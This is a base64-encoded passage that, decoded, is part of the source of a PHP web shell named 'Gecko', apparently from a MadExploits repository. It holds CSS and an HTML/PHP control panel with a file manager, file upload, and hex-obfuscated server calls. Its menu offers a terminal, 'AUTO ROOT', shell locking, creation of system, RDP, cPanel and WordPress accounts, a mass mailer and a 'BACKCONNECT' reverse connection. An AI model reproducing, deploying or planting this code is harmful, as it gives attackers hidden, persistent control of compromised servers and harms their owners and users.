jsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTMwcHg7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMTBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZWQKICAgICAgICB9CgogICAgICAgIC5iYWRnZS1wcmVtaXVtOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJzb29uISI7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHdpZHRoOiA0MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0zMHB4OwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTQwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciwKICAgICAgICAuYmFkZ2Utd2luZG93czo6YWZ0ZXIgewogICAgICAgICAgICB3aWR0aDogNjBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMzBweDsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZQogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmdGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogb3JhbmdlOwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJ3aW5kb3dzIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciB7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMDBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0N2EzOwogICAgICAgICAgICBjb250ZW50OiAibGludXgiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiUmVuYW1lIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1jaG1vZDpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiQ2htb2QiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJEb3dubG9hZCIKICAgICAgICB9CgogICAgICAgIC5Db2RlTWlycm9yIHsKICAgICAgICAgICAgaGVpZ2h0OiA3MHZoOwogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLAogICAgICAgIC50ZXJtaW5hbCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjMpOwogICAgICAgICAgICB3aWR0aDogMTAwJQogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLWNvbnRhaW5lciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICB3aWR0aDogOTAlOwogICAgICAgICAgICBoZWlnaHQ6IDkwdmg7CiAgICAgICAgICAgIG1hcmdpbjogMjBweCBhdXRvIGF1dG87CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHgKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1oZWFkIHsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMAogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWNvbnRhaW5lciB7CiAgICAgICAgICAgIGFuaW1hdGlvbjogLjVzIGJvdGggbW9kYWwtcG9wLW91dDsKICAgICAgICAgICAgd2lkdGg6IDkwJTsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOTsKICAgICAgICAgICAgbWFyZ2luOiAyNXB4IGF1dG8gYXV0bzsKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgLmJjLWdlY2tvLAogICAgICAgIC5tYWlsLAogICAgICAgIC50ZXJtaW5hbC1pbnB1dCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmCiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtaGVhZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweAogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgYSB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHJpZ2h0OiAwOwogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDExMHB4OwogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMjBweDsKICAgICAgICAgICAgZm9udC1zaXplOiAyNXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxcHggMTBweAogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgdGV4dGFyZWEgewogICAgICAgICAgICBtYXJnaW46IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjQyZDsKICAgICAgICAgICAgY29sb3I6ICMyOWRiMTI7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgLmFjdGl2ZSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrCiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtaW5wdXQgewogICAgICAgICAgICB3aWR0aDogNTAwcHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDZweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzIyMjQyZDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBtYXJnaW46IDVweCAwCiAgICAgICAgfQoKICAgICAgICAuYmMtZ2Vja28gewogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDdweCAxMHB4OwogICAgICAgICAgICB3aWR0aDogNzEycHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDQwcHgKICAgICAgICB9CgogICAgICAgIC5tYWlsIHsKICAgICAgICAgICAgd2lkdGg6IDcwNXB4OwogICAgICAgICAgICByZXNpemU6IG5vbmU7CiAgICAgICAgICAgIGhlaWdodDogMTAwcHgKICAgICAgICB9CgogICAgICAgIC5sb2dvLWdlY2tvIHsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IC05MHB4OwogICAgICAgICAgICByaWdodDogNDBweDsKICAgICAgICAgICAgei1pbmRleDogLTE7CiAgICAgICAgICAgIGJvdHRvbTogMAogICAgICAgIH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0ibWVudS1oZWFkZXIiPgogICAgICAgIDx1bD4KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jb21wdXRlciI+PC9pPiZuYnNwOzw/PSAkZnVuZ3NpWzhdKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1zZXJ2ZXIiPjwvaT4mbmJzcDs8Pz0gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDUzXHg0Zlx4NDZceDU0XHg1N1x4NDFceDUyXHg0NSJdOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtbmV0d29yay13aXJlZCI+PC9pPiZuYnNwOzogPD89IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl0pOyA/PiB8Jm5ic3A7OiA8Pz0gJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+PC9saT4KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1nbG9iZSI+PC9pPiZuYnNwOzw/PSBzKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcGhwIj48L2k+Jm5ic3A7PD89IFBIUF9WRVJTSU9OOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlciI+PC9pPiZuYnNwOzw/PSAkZnVuZ3NpWzldKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtZ2l0aHViIj48L2k+Jm5ic3A7d3d3LmdpdGh1Yi5jb20vTWFkRXhwbG9pdHM8L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9ImxvZ28tZ2Vja28iPjxpbWcgd2lkdGg9IjQwMCIgaGVpZ2h0PSI0MDAiIHNyYz0iLy9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01hZEV4cGxvaXRzL0dlY2tvL21haW4vZ2Vja28xLnBuZyIgYWxpZ249InJpZ2h0Ij48L2xpPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSc8Pz0gIlx4NmRceDc1XHg2Y1x4NzRceDY5XHg3MFx4NjFceDcyXHg3NFx4MmZceDY2XHg2Zlx4NzJceDZkXHgyZFx4NjRceDYxXHg3NFx4NjEiOyA/Pic+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImZvcm0tdXBsb2FkIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJnZWNrby11cC1zdWJtaXQiIGNsYXNzPSJidG4tc3VibWl0Ij4mbmJzcDs8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZ2Vja28tdXBsb2FkIiBjbGFzcz0iZm9ybS1maWxlIj48L2xpPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC91bD4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ibWVudS10b29scyI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9bm9ybWFsIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+IFRlcm1pbmFsPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ0ZXJtaW5hbD1yb290IiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS1yb290Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1sb2NrIj48L2k+IEFVVE8gUk9PVDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mYWRtaW5lciIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kYXRhYmFzZSI+PC9pPiBBZG1pbmVyPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZkZXN0cm95IiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWdob3N0Ij48L2k+IEJhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gc3VnZ2VzdF9leHBsb2l0KCk7ID8+IiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZsYXNrIj48L2k+IExpbnV4IEV4cGxvaXQ8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmxvY2tzaGVsbCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtbGludXgiPjwvaT4gTG9jayBTaGVsbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS1saW51eCIgaWQ9ImxvY2stZmlsZSI+PGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1saW51eCI+PC9pPiBMb2NrIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2Utcm9vdCIgaWQ9InJvb3QtdXNlciI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGx1cyI+PC9pPiBDcmVhdGUgVXNlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCIgaWQ9ImNyZWF0ZS1yZHAiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1sYXB0b3AtZmlsZSI+PC9pPiBDUkVBVEUgUkRQPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZtYWlsZXIiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtZW52ZWxvcGUiPjwvaT4gUEhQIE1haWxlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mYmFja2Nvbm5lY3QiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1zZWNyZXQiPjwvaT4gQkFDS0NPTk5FQ1Q8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JnVubG9ja3NoZWxsIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVubG9jay1rZXlob2xlIj48L2k+IFVOTE9DSyBTSEVMTDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy9oYXNoZXMuY29tL2VuL3Rvb2xzL2hhc2hfaWRlbnRpZmllciIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jb2RlIj48L2k+IEhBU0ggSURFTlRJRklFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mY3BhbmVscmVzZXQiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWNwYW5lbCI+PC9pPiBDUEFORUwgUkVTRVQ8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmNyZWF0ZXdwIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLWJyYW5kcyBmYS13b3JkcHJlc3Mtc2ltcGxlIj48L2k+IENSRUFURSBXUCBVU0VSPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWxpbmsiPjwvaT4mbmJzcDtSRUFETUU8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CgogICAgPD9waHAKCiAgICAkZmlsZV9tYW5hZ2VyID0gJGZ1bmdzaVsxXSgiey5bIS5dLH0qIiwgR0xPQl9CUkFDRSk7CiAgICAkZ2V0X2N3ZCA9ICRmdW5nc2lbMF0oKTsKICAgID8+CgogICAgPGRpdiBjbGFzcz0ibWVudS1maWxlLW1hbmFnZXIiPgogICAgICAgIDx1bD4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgaWQ9ImNyZWF0ZV9mb2xkZXIiPisgQ3JlYXRlIEZvbGRlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBpZD0iY3JlYXRlX2ZpbGUiPisgQ3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxkaXYgY2xhc3M9InBhdGgtcHdkIj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAkcHdkID0gZXhwbG9kZSgiLyIsICRjd2QpOwogICAgICAgICAgICBpZiAoc3RyaXN0cihQSFBfT1MsICJXSU4iKSkgewogICAgICAgICAgICAgICAgd2luZG93c0RyaXZlcigpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRwd2QgYXMgJGlkID0+ICR2YWwpIHsKICAgICAgICAgICAgICAgIGlmICgkdmFsID09ICcnICYmICRpZCA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnJm5ic3A7PGEgaHJlZj0iP2Q9JyAuIGh4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Q9JzsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGh4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0gJGlkKSBlY2hvIGh4KCIvIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICciPicgLiAkdmFsIC4gJyAvICcgLiAnPC9hPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGEgc3R5bGU9J2ZvbnQtd2VpZ2h0OmJvbGQ7IGNvbG9yOm9yYW5nZTsnIGhyZWY9Jz9kPSIgLiBoeChfX0RJUl9fKSAuICInPlsgSE9NRSBTSEVMTCBdPC9hPiZuYnNwOyI7CiAgICAgICAgICAgID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPC91bD4KICAgICAgICA8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlOyI+CiAgICAgICAgICAgIDx0aGVhZD4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uPC90aD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDwhLS0gR2Vja28gRm9sZGVyIEZpbGUgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZV9tYW5hZ2VyIGFzICRfRCkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsyXSgkX0QpKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tbXSIgdmFsdWU9Ijw/PSAkX0QgPz4iPiZuYnNwOzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItb3BlbiIgc3R5bGU9ImNvbG9yOm9yYW5nZTsiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpIC4gIi8iIC4gJF9EKTsgPz4iPjw/PSBuYW1hUGFuamFuZygkX0QpOyA/PjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5bIERJUiBdPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzRdKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbNV0oJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGb2xkZXIgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JnJlPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWVkaXRvciI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXBlbi10by1zcXVhcmUiPjwvaT48L2E+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JmNoPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWNobW9kIj48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgPCEtLSBHZWNrbyBGaWxlcyBNYW5hZ2VyIC0tPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlX21hbmFnZXIgYXMgJF9GKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzNdKCRfRikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja1tdIiB2YWx1ZT0iPD89ICRfRiA/PiI+Jm5ic3A7PD89IGZpbGVfZXh0KCRfRikgPz4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mZj08Pz0gaHgoJF9GKTsgPz4iIGNsYXNzPSJnZWNrby1maWxlcyI+PD89IG5hbWFQYW5qYW5nKCRfRik7ID8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBmb3JtYXRTaXplKGZpbGVzaXplKCRfRikpOyA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNfd3JpdGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICghaXNfcmVhZGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9GKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGaWxlIE1hbmFnZXIgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZyZT08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1lZGl0b3IiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1wZW4tdG8tc3F1YXJlIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZjaD08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1jaG1vZCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZkb249PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZG93bmxvYWQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8YnI+CiAgICAgICAgPHNlbGVjdCBuYW1lPSJnZWNrby1zZWxlY3QiIGNsYXNzPSJidG4tc3VibWl0Ij4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idW56aXAiPlVuemlwPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InppcCI+WmlwPC9vcHRpb24+PGJyPgogICAgICAgIDwvc2VsZWN0PgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1hY3Rpb24iIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tc3VibWl0IiBzdHlsZT0icGFkZGluZzogOC4zcHggMzVweDsiPgogICAgICAgIDwvZm9ybT4KCiAgICAgICAgPCEtLSBNb2RhbCB